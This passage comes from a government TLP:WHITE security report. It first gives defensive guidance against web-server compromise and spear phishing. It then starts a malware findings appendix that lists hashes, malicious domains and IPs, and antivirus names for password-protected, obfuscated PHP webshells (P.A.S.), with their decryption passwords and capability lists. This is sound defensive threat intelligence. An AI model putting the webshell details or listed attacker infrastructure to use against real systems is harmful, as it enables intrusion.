+Ensure separation of admin accounts. The web admin account should not be the same admin
+account that is used elsewhere on the domain.
+Respond
+When a compromise is found, reset all credentials associated with the webserver (this may
+expand to all accounts in the DMZ if it is suspected that the compromise has expanded to the
+DC). This should include all user and service accounts, all domain accounts that have logged
+onto that host and all local accounts, to include the Kerberos master ticket granting ticket on
+the DC. Depending on the circumstances, it may also be necessary to take the suspected
+server(s) or network offline during the remediation process.
+All server files should be wiped and restored from a known good source. The organization
+should prepare for a disaster recovery situation that includes a system compromise. Regular
+backups and offline storage of the data files should be made before being transferred to the
+DMZ production environment.
+When all other response techniques have failed at remediating the suspected compromise, the
+server(s) should be completely rebuilt or replaced. All data reconstitution efforts should stem
+from a known good source (offline backup).
+Defending Against Spear Phishing Attacks
+Defend
+Enforce application whitelisting on all endpoint workstations to prevent droppers or
+unauthorized software from gaining execution on endpoints. Many phishing attacks involve
+an executable that is dropped and installed on the victim
+s machine. Application Whitelisting
+will allow the organization to monitor programs and allow only those that are on the
+approved whitelist to execute. This would help to stop the initial attack, even if the user has
+clicked the link or opened a malicious attachment. There are many baseline rulesets that
+come with the vendor product, but the organization should ensure that at least the user Temp
+directories are blocked for execution since this is where numerous phishing emails attempt to
+drop and execute malware.
+Disable Macros in office products. Macros are a common method for executing code through
+an attached office document. Macros were often used as a means for initial exploitation in the
+late 1990s and early 2000s but have seen a recent resurgence in frequency of use. Some
+office products allow for the disabling of macros that originate from outside of the
+organization and can provide a hybrid approach when the organization depends on the
+legitimate use of macros. For Windows, specific settings can be configured to block Internet
+originated macros from running. This can be done in the Group Policy Administrative
+Templates for each of the associated Office products (specifically Word, Excel, and
+PowerPoint). For example, to enable the policy setting for Microsoft Word 2016, in the
+52 of 56
+52 of 56
+TLP:WHITE
+TLP:WHITE
+Group Policy Management Editor, select: User Configuration > Administrative Templates
+> Microsoft Word 2016 > Word Options > Security > Trust Center > Block macros
+from running in Office files from the Internet3
+Utilize up to date web browsers on the network for increased security enhancements. These
+improvements may include a sandboxing feature that would allow the browser to contain any
+malicious content and protect the endpoint if an emailed link is clicked.
+Deploy web and email filters on the network and configure these devices to scan for known
+bad domains, sources, and addresses; block these before messages are received and
+downloaded. This action will help to reduce the attack surface at the network
+s first level of
+defense. In addition, attachments should be filtered. The network defenses should only allow
+approved extensions to pass through to the email client. Most .exe, scripting extensions
+(including .bat, .js, and .ps1) and other executable extensions should be blocked.
+Scan all emails, attachments, and downloads both on host and at the mail gateway with a
+reputable antivirus solution that includes cloud reputation services. Taking advantage of
+cloud reputation advancements provides rapid response capabilities and the integration of a
+broad base of cyber defense intelligence.
+Organizations should ensure that they have disabled HTML from being used in emails, as
+well as disabling links. Everything should be forced to plain text. This will reduce the
+likelihood of potentially dangerous scripts or links being sent in the body of the email, and
+also will reduce the likelihood of a user just clicking something without thinking about it.
+With plain text, the user would have to go through the process of either typing in the link or
+copying and pasting. This additional step will allow the user an extra opportunity for thought
+and analysis before clicking on the link.
+Establish a training mechanism to inform end users on proper email and web usage as well as
+common indicators of phishing to be aware of. This training should be done at least annually
+and should include a test that is scored and available for viewing by management and/or the
+IT Security department. The training should inform users what suspicious emails look like,
+what to do when they suspect phishing, as well as explain what they should post on any
+websites in terms of personally identifiable information (PII) that may be used for phishing
+campaigns (including email addresses, job titles, names, etc.). Consider real life interactive
+training simulations where users are sent suspicious emails on a semi regular basis and
+subsequently redirected to a phishing training site should they fail to adhere to the
+organization
+s best practices and policies.
+Detect
+Monitor event logs, email logs, and firewall logs for any indicators of a potential attack.
+These could include emails from suspicious domains, installation of programs on machines
+https://blogs.technet.microsoft.com/mmpc/2016/03/22/new-feature-in-office-2016-can-blockmacros-and-help-prevent-infection/
+53 of 56
+53 of 56
+TLP:WHITE
+TLP:WHITE
+that are unusual or not approved, unusual call outs to the internet from office products, nonsmtp traffic from the email client, strange child processes under the parent office process, or
+spoofed domains sending or receiving traffic from the network. Strange Traffic/Behavior
+(e.g., Spamming others) should also be looked for in the various logs. This is a strong
+indicator that machine(s) are compromised in some way.
+Using the antivirus software that is installed on the mailbox server and all of the clients,
+review the alerts and logs regularly for any activity on the network. The sooner detection can
+take place, the sooner remediation steps can start, and the amount of damage can be
+minimalized.
+Users play an important role in the detection of spear phishing if they understand the proper
+reporting procedures of the organization. Users should be able to identify the correct
+handling and alerting procedure that the users should follow for any suspicious email they
+receive.
+Using the logs from the organizations firewalls/filters/security devices/workstations,
+administrators should always ensure that their whitelisted and blacklisted domains are up to
+date. Admins should also check DoD blacklists for known bad domains and add these to their
+filters as well. Using these logs and lists, the organization may benefit from other incidents
+that have occurred to help in the future
+Contain
+Utilize application containment products that can be used to prevent the downloading and
+propagation of malicious software on the network. If the organization is using some form of
+web email, the browser must be containerized. If the organization is using a program for
+email (e.g., Microsoft Outlook or Mozilla Thunderbird), then that program should be
+containerized for protection. The Application Containment will open the browser or email
+program in its own Virtual Machine and isolate it from the rest of the system. This allows the
+execution of potential malware in a sandboxed environment so the host system is protected.
+Implement front and back end email servers when running on site instantiations of mail
+services. Having a front-end server allows the organization to have an extra layer of
+protection on the network since the front-end mailbox server contains no user data and allows
+a firewall to be placed before the back end server. This is also safer and more convenient for
+any web accessed email since web traffic is not being allowed directly into the network,
+protects from denial-of-service attacks, and authenticates requests before proxying them to
+the back end server.4
+Control where and when an administrator can log on, as well as what they can do when
+logged onto a system. This can minimize the damage of a spear phishing attack. Admins
+should never be allowed to browse the internet, nor should they be allowed to open any email
+program. This will reduce the likelihood of an accidental click or download of a program that
+could be malicious. This also will reduce the chances that a successful attacker will gain
+https://technet.microsoft.com/en-us/library/bb124804(v=exchg.65).aspx
+54 of 56
+54 of 56
+TLP:WHITE
+TLP:WHITE
+admin privileges immediately when they gain access to the system. Organizations can
+accomplish this restriction a number of ways, including application whitelisting, VLAN
+separation, dedicated administrator boxes, etc.
+Ensure that standard user accounts are not a part of the local administrators group. The local
+administrator account should also be denied network access and all built in local
+administrator accounts should have a unique password value. It is a common tactic to look
+for local administrator credentials as a method of expanding access across the network.
+Making these values unique for each machine and denying that account network access
+removes the attacker
+s capability to easily expand access using the same credentials5.
+Respond
+If a phishing email is discovered or suspected, the organization needs to start their normal
+investigation procedures. It may be as simple as deleting that email and updating the email
+filter to prevent this address/domain from sending to the organization again, but it could also
+trigger a normal incident response. If the email contained a link that was clicked, an
+attachment that was downloaded, or a program that was executed, the organization may have
+to remove any malicious content, discover the extent of the possible spread, detail any
+exfiltration of data, or even remove the affected machine(s) or rebuild them.
+Reset user credentials and all credentials associated with all compromised boxes. This should
+include services accounts and machine accounts as well as the supporting Kerberos tickets.
+Monitor all accounts associated with the spear-phishing event. User accounts who are
+suspected to have been the victim of a successful phishing campaign should be forensically
+monitored for abnormal behaviors including unusual connections to non-standard resources,
+attempts to elevate privileges, enumeration behaviors on the local host machine as well as
+remote systems, and attempts to execute odd programs or applications.
+https://www.microsoft.com/en-us/download/details.aspx?id=36036
+55 of 56
+55 of 56
+TLP:WHITE
+TLP:WHITE
+APPENDIX D: Malware Initial Findings Report (MIFR)-10105049
+UPDATE 2 (TLP WHITE)
+56 of 56
+56 of 56
+TLP:WHITE
+TLP:WHITE
+Malware Initial Findings Report (MIFR) - 10105049-Update2
+2017-01-23
+Notification
+This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties
+of any kind regarding any information contained within. The DHS does not endorse any commercial product or service, referenced in this
+bulletin or otherwise.
+This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no
+foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules,
+TLP:WHITE information may be distr buted without restriction. For more information on the Traffic Light Protocol, see http://www.us-cert.gov
+/tlp/.
+Summary
+Description
+This report is an update to MIFR-10105049 and provides additional analysis of the artifacts identified in the NCCIC Joint Analysis Report
+(JAR 16-20296) dated December 19, 2016.
+The artifacts analyzed in this report include 17 PHP files, 3 executables and 1 RTF file.
+The PHP files are webshells designed to provide a remote user an interface for various remote operations. The rtf file is a malicious
+document designed to install and execute a malicious executable.
+Files
+Processed
+10b1306f322a590b9cef4d023854b850 (0576cd0e9406e642c473cfa9cb67da4bc4963e0fd6811bb09d328d71b36faa09)
+128cc715b25d0e55704ed9b4a3f2ef55 (0fd05095e5d2fa466bef897105dd943de29f6b585ba68a7bf58148767364e73e)
+1ec7f06f1ee4fa7cecd17244eec24e07 (a0c00aca2f34c1f5ddcf36be2ccca4ce63b38436faf45f097d212c59d337a806)
+38f7149d4ec01509c3a36d4567125b18 (7b28b9b85f9943342787bae1c92cab39c01f9d82b99eb8628abc638afd9eddaf)
+617ba99be8a7d0771628344d209e9d8a (9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5)
+66948b04173b523ca773c3073afb506d (449e7a7cbc393ae353e8e18b5c31d17bb13235d0c07e9e319137543608749602)
+70f93f4f17d0e46137718fe59591dafb (bd7996752cac5d05ed9d1d4077ddf3abcb3d291321c274dbcf10600ab45ad4e4)
+78abd4cdccab5462a64ab4908b6056bd (6fad670ac8febb5909be73c9f6b428179c6a7e94294e3e6e358c994500fcce46)
+7fce89d5e3d59d8e849d55d604b70a6f (2d5afec034705d2dc398f01c100636d51eb446f459f1c2602512fd26e86368e4)
+81f1af277010cb78755f08dfcc379ca6 (ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d3235b9c1e0dad683538cc8e)
+8f154d23ac2071d7f179959aaba37ad5 (55058d3427ce932d8efcbe54dccf97c9a8d1e85c767814e34f4b2b6a6b305641)
+93f512e2d9d00bf0bcf1e03c6898cb1e (249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e)
+a5e933d849367d623d1f2692b6691bbf (7dac01e818bd5a01fe75c3324f6250e3f51977111d7b4a94e41307bf463f122e)
+ae7e3e531494b201fbf6021066ddd188 (9acba7e5f972cdd722541a23ff314ea81ac35d5c0c758eb708fb6e2cc4f598a0)
+bfcb50cffca601b33c285b9f54b64cb1 (da9f2804b16b369156e1b629ad3d2aac79326b94284e43c7b8355f3db71912b8)
+c3e23ef7f5e41796b80ca9e59990fe9c (20f76ada1721b61963fa595e3a2006c96225351362b79d5d719197c190cd4239)
+dc4594dbeafbc8edfa0ac5983b295d9b (9376e20164145d9589e43c39c29be3a07ecdfd9c5c3225a69f712dc0ef9d757f)
+e80f92faa5e11007f9ffea6df2297993 (3bd682bb7870d5c8bc413cb4e0cc27e44b2358c8fc793b934c71b2a85b8169d7)
+eddfe110da553a3dc721e0ad4ea1c95c (ae67c121c7b81638a7cb655864d574f8a9e55e66bcb9a7b01f0719a05fab7975)
+f3ecf4c56f16d57b260b9cf6ec4519d6 (1343c905a9c8b0360c0665efa6af588161fda76b9d09682aaf585df1851ca751)
+fc45abdd5fb3ffa4d3799737b3f597f4 (d285115e97c02063836f1cf8f91669c114052727c39bf4bd3c062ad5b3509e38)
+Domains
+Identified
+private.directinvesting.com
+cderlearn.com
+wilcarobbe.com
+one2shoppee.com
+ritsoperrol.ru
+littjohnwilhap.ru
+insta.reduct.ru
+editprod.waterfilter.in.ua
+mymodule.waterfilter.in.ua/system/logs/xtool.exe
+US-CERT MIFR-10105049-Update2
+1 of 63
+Identified
+204.12.12.40
+209.236.67.159
+146.185.161.126
+176.114.0.120
+176.114.0.157
+US-CERT MIFR-10105049-Update2
+2 of 63
+Files
+249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e
+Details
+Name
+249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e
+Size
+21522
+Type
+PHP script, ASCII text, with very long lines, with CRLF, LF line terminators
+93f512e2d9d00bf0bcf1e03c6898cb1e
+SHA1
+b7c7446dc3c97909705899e3dcffc084081b5c9f
+ssdeep
+384:bx6Nx4A8ZPJ8s5o80bOIs+AMBkxM5ZTSzuSizpxf18veznDt1Sxuunv:bx60A2PqsW8s7sMB/XTSfizpv+uunv
+Entropy
+6.11147480451
+Antivirus
+F-prot
+PHP/WebShell.A
+McAfee
+PHP/WebShell.i
+F-secure
+Backdoor.PHP.AYP
+Symantec
+PHP.Backdoor.Trojan
+ClamAV
+Php.Malware.Agent-5486261-0
+Kaspersky
+Backdoor.PHP.Agent.aar
+TrendMicro
+PHP_WEBSHELL.SMA
+Sophos
+PHP/WebShell-O
+Avira
+PHP/Agent.12663
+Microsoft
+Ahnlab
+ESET
+Backdoor:PHP/Fobushell.D
+PHP/Webshell
+PHP/Agent.IB trojan
+TrendMicroHouseCall
+PHP_WEBSHELL.SMA
+Ikarus
+Backdoor.PHP.Fobushell
+Relationships
+249ee048142d3d4b5f7ad15e8d4b98cf9491ee68
+db9749089f559ada4a33f93e (93f51)
+Related_To
+(S) Interface for PAS v.3.1.0
+249ee048142d3d4b5f7ad15e8d4b98cf9491ee68
+db9749089f559ada4a33f93e (93f51)
+Related_To
+da9f2804b16b369156e1b629ad3d2aac79326b94
+284e43c7b8355f3db71912b8 (bfcb5)
+249ee048142d3d4b5f7ad15e8d4b98cf9491ee68
+db9749089f559ada4a33f93e (93f51)
+Related_To
+20f76ada1721b61963fa595e3a2006c962253513
+62b79d5d719197c190cd4239 (c3e23)
+249ee048142d3d4b5f7ad15e8d4b98cf9491ee68
+db9749089f559ada4a33f93e (93f51)
+Related_To
+7b28b9b85f9943342787bae1c92cab39c01f9d82b
+99eb8628abc638afd9eddaf (38f71)
+249ee048142d3d4b5f7ad15e8d4b98cf9491ee68
+db9749089f559ada4a33f93e (93f51)
+Related_To
+ae67c121c7b81638a7cb655864d574f8a9e55e66
+bcb9a7b01f0719a05fab7975 (eddfe)
+Description
+This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected.
+During runtime, this payload will be decoded and decrypted using combination of a base64_decode and a password.
+Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user. The file will prompt the user to
+enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime.
+The password "root" was used to decrypt the payload. The decrypted payload contains a PHP web-shell and has been identified as P.A.S.
+v.3.1.0. This web-shell is a backdoor that provides an interface (see Screenshot) for various remote operations, such as file explorer,
+searcher, SQL-client, network tools, command shell access, and server info features to a remote user once installed on the compromised
+system. The following are some of the P.A.S webshell capabilities:
+--Begin Capabilities-To view compromised server information.
+File manager (copy, rename, move, download, upload, delete, jump, create files and folders).
+Search files, objects, directories, and text in files.
+SQL client to login and dump database and tables.
+US-CERT MIFR-10105049-Update2
+3 of 63
+Network console to bindport, back-connect, and port scanner.
+Command line console to execute command.
+Execute PHP code.
+--End Capabilities--
+The webshell P.A.S. v.3.1.0 interface is shown in image 1.0.
+Screenshots
+Interface for PAS v.3.1.0
+da9f2804b16b369156e1b629ad3d2aac79326b94284e43c7b8355f3db71912b8
+Details
+Name
+da9f2804b16b369156e1b629ad3d2aac79326b94284e43c7b8355f3db71912b8
+Size
+21377
+Type
+PHP script, ASCII text, with very long lines
+bfcb50cffca601b33c285b9f54b64cb1
+SHA1
+efcc0c18e10072b50deeca9592c76bc90f4d18ce
+ssdeep
+384:0x6Nx4A8ZPJ8s5o80bOIs+AMBkxM5ZTSzuSizpxf18veznDt1Sxuunv:0x60A2PqsW8s7sMB/XTSfizpv+uunv
+Entropy
+6.10042530063
+Antivirus
+F-prot
+PHP/WebShell.A
+McAfee
+PHP/WebShell.i
+F-secure
+Backdoor.PHP.AYP
+VirIT
+Trojan.PHP.Shell.JB
+Symantec
+PHP.Backdoor.Trojan
+ClamAV
+Php.Malware.Agent-5486261-0
+Kaspersky
+Backdoor.PHP.Agent.aar
+TrendMicro
+PHP_WEBSHELL.SMA
+Sophos
+Microsoft
+Ahnlab
+ESET
+NANOAV
+TrendMicroHouseCall
+Ikarus
+PHP/WebShell-O
+Backdoor:PHP/Fobushell.D
+PHP/Webshell
+PHP/Agent.IB trojan
+Trojan.Script.Crypt.dsonvo
+PHP_WEBSHELL.SMA
+Trojan.PHP.Crypt
+Relationships
+da9f2804b16b369156e1b629ad3d2aac79326b94
+284e43c7b8355f3db71912b8 (bfcb5)
+Related_To
+249ee048142d3d4b5f7ad15e8d4b98cf9491ee68
+db9749089f559ada4a33f93e (93f51)
+Description
+This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. The
+password "avto" was used to decrypt the payload. The decrypted payload contains a PHP web-shell and has been identified as P.A.S.
+v.3.1.0. This file and 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e have the same functionality.
+20f76ada1721b61963fa595e3a2006c96225351362b79d5d719197c190cd4239
+US-CERT MIFR-10105049-Update2
+4 of 63
+Details
+Name
+20f76ada1721b61963fa595e3a2006c96225351362b79d5d719197c190cd4239
+Size
+21377
+Type
+PHP script, ASCII text, with very long lines
+c3e23ef7f5e41796b80ca9e59990fe9c
+SHA1
+0a3f7e0d0729b648d7bb6839db13c97f0b741773
+ssdeep
+384:JIiH2ER39I1Vv+kIPEWWjYc+CmJNHKblvcDSRRjqSA93DuxuXvWxUg:JIy2ER3CL+khWUYcsJtMcDiuSA93DuxD
+Entropy
+6.10091164773
+Antivirus
+F-prot
+PHP/WebShell.A
+McAfee
+PHP/WebShell.i
+F-secure
+Backdoor.PHP.AYP
+VirIT
+Trojan.PHP.Shell.LV
+Symantec
+PHP.Backdoor.Trojan
+ClamAV
+Php.Malware.Agent-5486261-0
+Kaspersky
+Backdoor.PHP.Agent.aaw
+TrendMicro
+PHP_WEBSHELL.SMA
+Sophos
+PHP/WebShell-O
+Avira
+PHP/Agent.12662
+Microsoft
+Ahnlab
+ESET
+TrendMicroHouseCall
+Ikarus
+Backdoor:PHP/Fobushell.D
+PHP/Webshell
+PHP/Krypt k.AJ trojan
+PHP_WEBSHELL.SMA
+Trojan.PHP.Crypt
+Relationships
+20f76ada1721b61963fa595e3a2006c962253513
+62b79d5d719197c190cd4239 (c3e23)
+Related_To
+249ee048142d3d4b5f7ad15e8d4b98cf9491ee68
+db9749089f559ada4a33f93e (93f51)
+Description
+This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. The
+password "123123" was used to decrypt the payload. The decrypted payload contains a PHP web-shell and has been identified as P.A.S.
+v.3.1.0. This file and 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e have the same functionality.
+7b28b9b85f9943342787bae1c92cab39c01f9d82b99eb8628abc638afd9eddaf
+Details
+Name
+7b28b9b85f9943342787bae1c92cab39c01f9d82b99eb8628abc638afd9eddaf
+Size
+21633
+Type
+PHP script, ASCII text, with very long lines, with CRLF line terminators
+38f7149d4ec01509c3a36d4567125b18
+SHA1
+d1828dce4bf476ca07629e1613dd77c3346e2c5a
+ssdeep
+384:0y6t/9+e9BhShtzX3vOjbkMlspeMucuA4ScHCpMO1LmMoVID+a5XHEuz8v:0y6L+4BIhhX/6IMyn5uMcHCpbkuz8v
+Entropy
+6.12095270355
+Antivirus
+F-prot
+PHP/WebShell.A
+McAfee
+PHP/WebShell.i
+F-secure
+Backdoor.PHP.AYP
+VirIT
+Trojan.PHP.Shell.JB
+Symantec
+PHP.Backdoor.Trojan
+ClamAV
+Php.Malware.Agent-5486261-0
+Kaspersky
+Backdoor.PHP.Agent.abc
+TrendMicro
+PHP_WEBSHELL.SMA
+Sophos
+US-CERT MIFR-10105049-Update2
+PHP/WebShell-O
+5 of 63
+Avira
+Microsoft
+Ahnlab
+ESET
+TrendMicroHouseCall
+Ikarus
+PHP/Agent.1266
+Backdoor:PHP/Fobushell.D
+PHP/Webshell
+PHP/Agent.IB trojan
+PHP_WEBSHELL.SMA
+Trojan.PHP.Crypt
+Relationships
+7b28b9b85f9943342787bae1c92cab39c01f9d82b
+99eb8628abc638afd9eddaf (38f71)
+Related_To
+249ee048142d3d4b5f7ad15e8d4b98cf9491ee68
+db9749089f559ada4a33f93e (93f51)
+Description
+This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. The
+password "avto" was used to decrypt the payload. The decrypted payload contains a PHP web-shell and has been identified as P.A.S.
+v.3.1.0. This file and 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e have the same functionality.
+ae67c121c7b81638a7cb655864d574f8a9e55e66bcb9a7b01f0719a05fab7975
+Details
+Name
+ae67c121c7b81638a7cb655864d574f8a9e55e66bcb9a7b01f0719a05fab7975
+Size
+21121
+Type
+PHP script, ASCII text, with very long lines, with no line terminators
+eddfe110da553a3dc721e0ad4ea1c95c
+SHA1
+6b178cc9d630345356b9341613cd83bd588192e9
+ssdeep
+384:/YO/kOzhJ38bvqoWksNj4lCKlmI6KDzXpofabpTACAXDDe9GDtWNmu:/YIkOzhJs1WkqICKs0ofocCAXDDe9etO
+Entropy
+6.08010194218
+Antivirus
+F-prot
+PHP/WebShell.A
+McAfee
+PHP/WebShell.i
+F-secure
+Backdoor.PHP.AYP
+Symantec
+PHP.Backdoor.Trojan
+ClamAV
+Php.Malware.Agent-1642041
+Kaspersky
+Backdoor.PHP.Agent.aat
+TrendMicro
+PHP_WEBSHELL.SMA
+Sophos
+Microsoft
+Ahnlab
+ESET
+TrendMicroHouseCall
+Ikarus
+PHP/WebShell-O
+Backdoor:PHP/Fobushell.D
+PHP/Webshell
+PHP/Krypt k.AJ trojan
+PHP_WEBSHELL.SMA
+Trojan.PHP.Crypt
+Relationships
+ae67c121c7b81638a7cb655864d574f8a9e55e66
+bcb9a7b01f0719a05fab7975 (eddfe)
+Related_To
+249ee048142d3d4b5f7ad15e8d4b98cf9491ee68
+db9749089f559ada4a33f93e (93f51)
+Description
+This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. The
+password "123123" was used to decrypt the payload. The decrypted payload contains a PHP web-shell and has been identified as P.A.S.
+v.3.1.0. This file and 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e have the same functionality.
+6fad670ac8febb5909be73c9f6b428179c6a7e94294e3e6e358c994500fcce46
+Details
+Name
+6fad670ac8febb5909be73c9f6b428179c6a7e94294e3e6e358c994500fcce46
+Size
+21191
+Type
+PHP script, ASCII text, with very long lines
+78abd4cdccab5462a64ab4908b6056bd
+US-CERT MIFR-10105049-Update2
+6 of 63
+SHA1
+1a42bc32bdfeb468e6a98f9b69514adb7cc963ae
+ssdeep
+384:3cKqZSUbR58RkpmzijNeoBtqT/juu+/iSeClJTYZaPKWFbNx:sKqZ7dCupmzqN3K7jsFDTTeaX1Nx
+Entropy
+6.10207869759
+Antivirus
+F-prot
+PHP/WebShell.A
+McAfee
+PHP/WebShell.i
+F-secure
+Backdoor.PHP.AYP
+Symantec
+PHP.Backdoor.Trojan
+ClamAV
+Php.Malware.Agent-5486261-0
+Kaspersky
+Backdoor.PHP.Agent.abe
+TrendMicro
+PHP_WEBSHELL.SMA
+Sophos
+Microsoft
+ESET
+TrendMicroHouseCall
+Ikarus
+PHP/WebShell-O
+Backdoor:PHP/Fobushell.G
+PHP/Krypt k.AJ trojan
+PHP_WEBSHELL.SMA
+Trojan.PHP.Crypt
+Relationships
+6fad670ac8febb5909be73c9f6b428179c6a7e942
+94e3e6e358c994500fcce46 (78abd)
+Related_To
+(S) Interface for PAS v.3.0.10
+6fad670ac8febb5909be73c9f6b428179c6a7e942
+94e3e6e358c994500fcce46 (78abd)
+Related_To
+d285115e97c02063836f1cf8f91669c114052727c3
+9bf4bd3c062ad5b3509e38 (fc45a)
+Description
+This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. The
+password "we kome" was used to decrypt the payload. The decrypted payload contains a PHP web-shell and has been identified as P.A.S.
+v.3.0.10. This version (see Screenshot) and v.3.1.0 have similar functionality, except v.3.0.10 has safeMode, open base directory, and
+disable functionality.The webshell P.A.S. v.3.0.10 interface is shown in image 2.0.
+Screenshots
+Interface for PAS v.3.0.10
+d285115e97c02063836f1cf8f91669c114052727c39bf4bd3c062ad5b3509e38
+Details
+Name
+d285115e97c02063836f1cf8f91669c114052727c39bf4bd3c062ad5b3509e38
+Size
+21191
+Type
+PHP script, ASCII text, with very long lines
+fc45abdd5fb3ffa4d3799737b3f597f4
+SHA1
+adf649354ff4d1812e7de745214362959e0174b1
+ssdeep
+384:ccKqZSUbR58RkpmzijNeoBtqT/juu+/iSeClJTYZaPKWFbNUbxwx:pKqZ7dCupmzqN3K7jsFDTTeaX1NUbxG
+Entropy
+6.1021796546
+Antivirus
+F-prot
+PHP/WebShell.A
+McAfee
+PHP/WebShell.i
+US-CERT MIFR-10105049-Update2
+7 of 63
+NetGate
+Trojan.Win32.Malware
+F-secure
+Backdoor.PHP.AYP
+Symantec
+PHP.Backdoor.Trojan
+ClamAV
+Php.Malware.Agent-5486261-0
+Kaspersky
+Backdoor.PHP.Agent.abe
+TrendMicro
+PHP_WEBSHELL.SMA
+Sophos
+PHP/WebShell-O
+Avira
+PHP/Krypt k.AA
+Microsoft
+Ahnlab
+ESET
+TrendMicroHouseCall
+Ikarus
+Backdoor:PHP/Fobushell.G
+PHP/Webshell
+PHP/Krypt k.AJ trojan
+PHP_WEBSHELL.SMA
+Trojan.PHP.Crypt
+Relationships
+d285115e97c02063836f1cf8f91669c114052727c3
+9bf4bd3c062ad5b3509e38 (fc45a)
+Related_To
+6fad670ac8febb5909be73c9f6b428179c6a7e942
+94e3e6e358c994500fcce46 (78abd)
+Description
+This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. The
+password "123123" was used to decrypt the payload. The decrypted payload contains a PHP web-shell and has been identified as P.A.S.
+v.3.0.10. This file and 6fad670ac8febb5909be73c9f6b428179c6a7e94294e3e6e358c994500fcce46 have the same functionality.
+0576cd0e9406e642c473cfa9cb67da4bc4963e0fd6811bb09d328d71b36faa09
+Details
+Name
+0576cd0e9406e642c473cfa9cb67da4bc4963e0fd6811bb09d328d71b36faa09
+Size
+21633
+Type
+PHP script, ASCII text, with very long lines, with CRLF line terminators
+10b1306f322a590b9cef4d023854b850
+SHA1
+eac98f414abd9e6a39ce96f5547284c371a30a74
+ssdeep
+384:aflOAr6OucUytsS8UdzMV3u2SmsyCDHEToBCGIbGA3taDPWA+0BWdL1v:afUAr6OJB18Cc3u2jseTo/cGA3taD+Ae
+Entropy
+6.1212580823
+Antivirus
+F-prot
+PHP/WebShell.A
+McAfee
+PHP/WebShell.i
+F-secure
+Backdoor.PHP.AYP
+Symantec
+PHP.Backdoor.Trojan
+ClamAV
+Php.Malware.Agent-5486261-0
+Kaspersky
+Backdoor.PHP.Agent.aax
+TrendMicro
+PHP_WEBSHELL.SMA
+Sophos
+Microsoft
+Ahnlab
+ESET
+TrendMicroHouseCall
+Ikarus
+PHP/WebShell-O
+Backdoor:PHP/Fobushell.D
+PHP/Webshell
+PHP/Krypt k.AJ trojan
+PHP_WEBSHELL.SMA
+Trojan.PHP.Crypt
+Description
+This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected.
+Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user. The file will prompt the user to
+enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime.
+0fd05095e5d2fa466bef897105dd943de29f6b585ba68a7bf58148767364e73e
+Details
+Name
+0fd05095e5d2fa466bef897105dd943de29f6b585ba68a7bf58148767364e73e
+US-CERT MIFR-10105049-Update2
+8 of 63
+Size
+21377
+Type
+PHP script, ASCII text, with very long lines
+128cc715b25d0e55704ed9b4a3f2ef55
+SHA1
+93c3607147e24396cc8f508c21ce8ab53f9a0176
+ssdeep
+384:zvAz7TvcjKJp0eJ4ZZXIoQW9fq3C3W/e3+M/BF9xjzAMbaQCUv:jAzMjAp0/XIq9fq3CWoEUv
+Entropy
+6.10186106747
+Antivirus
+F-prot
+PHP/WebShell.A
+McAfee
+PHP/WebShell.i
+F-secure
+Backdoor.PHP.AXV
+Symantec
+PHP.Backdoor.Trojan
+ClamAV
+Php.Malware.Agent-5486261-0
+Kaspersky
+Backdoor.PHP.Agent.aau
+TrendMicro
+PHP_WEBSHELL.SMA
+Sophos
+Microsoft
+Ahnlab
+ESET
+TrendMicroHouseCall
+Ikarus
+PHP/WebShell-O
+Backdoor:PHP/Fobushell.D
+PHP/Webshell
+PHP/Krypt k.AJ trojan
+PHP_WEBSHELL.SMA
+Trojan.PHP.Crypt
+Description
+This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected.
+Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user. The file will prompt the user to
+enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime.
+1343c905a9c8b0360c0665efa6af588161fda76b9d09682aaf585df1851ca751
+Details
+Name
+1343c905a9c8b0360c0665efa6af588161fda76b9d09682aaf585df1851ca751
+Size
+21355
+Type
+PHP script, ASCII text, with very long lines
+f3ecf4c56f16d57b260b9cf6ec4519d6
+SHA1
+18eda2d7b0d42462cdef1794ad26e21a52d79dc6
+ssdeep
+384:DIiH2ER39I1Vv+kIPEWWjYc+CmJNHKblvcDSRRjqSA93DuxuXvWxUV:DIy2ER3CL+khWUYcsJtMcDiuSA93Dux0
+Entropy
+6.09871136883
+Antivirus
+F-prot
+PHP/WebShell.A
+McAfee
+PHP/WebShell.i
+F-secure
+Backdoor.PHP.AYP
+Symantec
+PHP.Backdoor.Trojan
+ClamAV
+Php.Malware.Agent-5486261-0
+Kaspersky
+Backdoor.PHP.Agent.aav
+TrendMicro
+PHP_WEBSHELL.SMA
+Sophos
+Microsoft
+Ahnlab
+ESET
+TrendMicroHouseCall
+Ikarus
+PHP/WebShell-O
+Backdoor:PHP/Fobushell.G
+PHP/Webshell
+PHP/Krypt k.AJ trojan
+PHP_WEBSHELL.SMA
+Trojan.PHP.Crypt
+Description
